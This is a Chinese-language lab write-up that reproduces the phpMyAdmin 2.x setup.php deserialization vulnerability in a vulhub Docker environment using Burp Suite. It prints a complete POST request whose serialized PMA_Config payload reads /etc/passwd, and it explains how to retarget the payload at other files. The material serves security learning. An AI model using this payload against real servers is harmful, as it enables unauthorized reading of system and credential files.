phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)(Kali)
phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。
通过vulhub靶场进行复现操作
1.首先搭建靶场环境(采用Kali)
cd vulhub/phpmyadmin/WooYun-2016-199433 //进入对应漏洞目录,具体参照vulhub.orgsudo docker-compose build //编译相对应环境 sudo docker-compose -up -d //搭建靶场环境
搭建成功
环境启动后,访问http://your-ip:8080
,即可看到phpmyadmin的首页。因为没有连接数据库,所以此时会报错,但我们这个漏洞的利用与数据库无关,所以忽略。
看到此页面则靶场搭建成功
利用Kali自带的BurpSuite进行抓包
全选发送到Repeater
发送如下数据包,即可读取/etc/passwd
:
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
如图所示,再点击send即可发送数据包
(最为重要的内容)注意:红框部分,s:11:"/etc/passwd" 表示变量类型:变量数量:变量内容
若要变为其他文件,则需要改变相应位置的类型、数量、内容
如/etc/passwd一共是11个字符
反序列化具体参照
简单了解反序列化 - upstream_yu - 博客园 (cnblogs.com)
点击send之后就会返回数据了
总结:漏洞操作简单易懂,主要涉及BurpSuite相关操作,适合新手体验
别忘记关闭靶场环境噢
sudo docker-compose down
phpmyadmin scripts/setup.php 反序列化漏洞(WooYun-2016-199433)(Kali)相关推荐
- 漏洞复现-Phpmyadmin setup.php反序列化漏洞(WooYun-2016-199433)
Phpmyadmin setup漏洞复现 漏洞描述 影响版本 漏洞复现 漏洞修复 漏洞描述 phpMyAdmin是用PHP编写的工具,用于通过WEB管理MySQL. phpMyAdmin的Setup脚 ...
- phpmyadmin/scripts/setup.php,Linux下phpMyAdmin安装过程中的问题解决
1.下载phpMyAdmin,自己想办法拷到/var/www/html下,并解压,开始使用. http://IP/phpMyAdmin测试 cp config.sample.inc.php confi ...
- phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via A Crafted POST Request CVE-2010-3055
目录 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 The configuration setup script (aka ...
- [Vulhub](WooYun-2016-199433)phpmyadmin反序列化漏洞
0x00 预备知识 什么是序列化 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程.在序列化期间,对象将其当前状态写入到临时或持久性存储区.以后,可以通过从存储区中读取 ...
- WooYun-2016-199433 phpmyadmin 反序列化漏洞
漏洞简介 phpmyadmin 2.x版本中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码. 漏洞复现 执行如下命令启动phpmyadmin: docker-compose u ...
- WooYun-2016-199433 phpmyadmin反序列化漏洞复现
目录 漏洞描述 影响版本 漏洞环境搭建 漏洞分析 漏洞利用 漏洞加固 漏洞描述 phpmyadmin 2.x 版本中存在反序列化漏洞,当服务器执行了黑客精心构造的payload时,会造成类中的变量 ...
- rmi 反序列化漏洞_IDEA动态调试(二)——反序列化漏洞(Fastjson)
一.反序列化的原理及特点 1.什么是反序列化 序列化就是把java类转换成字节流,xml数据.json格式数据等: 反序列化就是把字节流,xml数据.json格式数据转换回java类. 2.反序列化漏 ...
- 【CyberSecurityLearning 69】反序列化漏洞
目录 反序列化 为什么要序列化 PHP 中序列化与反序列化 *简单的例子 *序列化Demo *漏洞何在? @ 创建一个类,一个对象并将其序列化和反序列化 @ 反序列化注入 *为什么会这样呢 实战:Ty ...
- common-collections中Java反序列化漏洞导致的RCE原理分析
2019独角兽企业重金招聘Python工程师标准>>> common-collections中Java反序列化漏洞导致的RCE原理分析 隐形人真忙 · 2015/11/11 22:4 ...
最新文章
- 最新手机号段归属地数据库(2017年4月16日版)免费下载
- 如何修改WINDOWS默认的3389远程端口
- mysql key value 排序_MySQL利用索引优化ORDER BY排序语句的方法
- 两台Oracle服务器,使用udl测试连接
- ML之回归预测:利用13种机器学习算法对Boston(波士顿房价)数据集【13+1,506】进行回归预测(房价预测)来比较各模型性能
- 基于注解的方式装配bean
- 系统架构师学习笔记-操作系统(二)
- 中国高校鄙视链指南...
- 值得收藏的50个学习C语言的源代码网站
- 物联网终端安全系列(之二) -- 物联网终端安全需求分析
- python生成热力图_pyHeatMap生成热力图
- 【BZOJ1814】Ural 1519 Formula 1 (插头dp)
- PS简单入门须知的小技巧
- element tree不刷新视图_我不告诉你的话,你不会知道iPad原来也有这么多窍门,学起来...
- cPanel/WHM前台后台的常用操作
- 信息安全专业要计算机好吗,哪些单位需要计算机信息安全专业的
- codeforces 1567 C. Carrying Conundrum
- 小学四则运算生成器(Java实现)
- pytorch神经网络因素预测_神经网络与PyTorch实战
- 关于antispy反间谍软件的研究
热门文章
- 九月学习笔记 (FM、一些论文阅读、代码)
- 聚合函数的计算机控件,ACCESS VBA编程必须掌握的聚合函数(判断 表 值).doc
- KIS 标准版 银行存款日记账扎帐后本期期初不等于上期期末余额
- php微信登录代理转发,PHP微信网页授权登录
- 搭建IPFS网络私网教程
- IPFS-私有网络集群搭建
- androud 常用组件
- linux 非登录shell自动,Linux 交互/非交互/登录/非登录 shell 的区别
- 幻灯片制作软件Movavi Slideshow Maker mac
- 没学过编程,本科学历,Java学到什么程度才能找工作?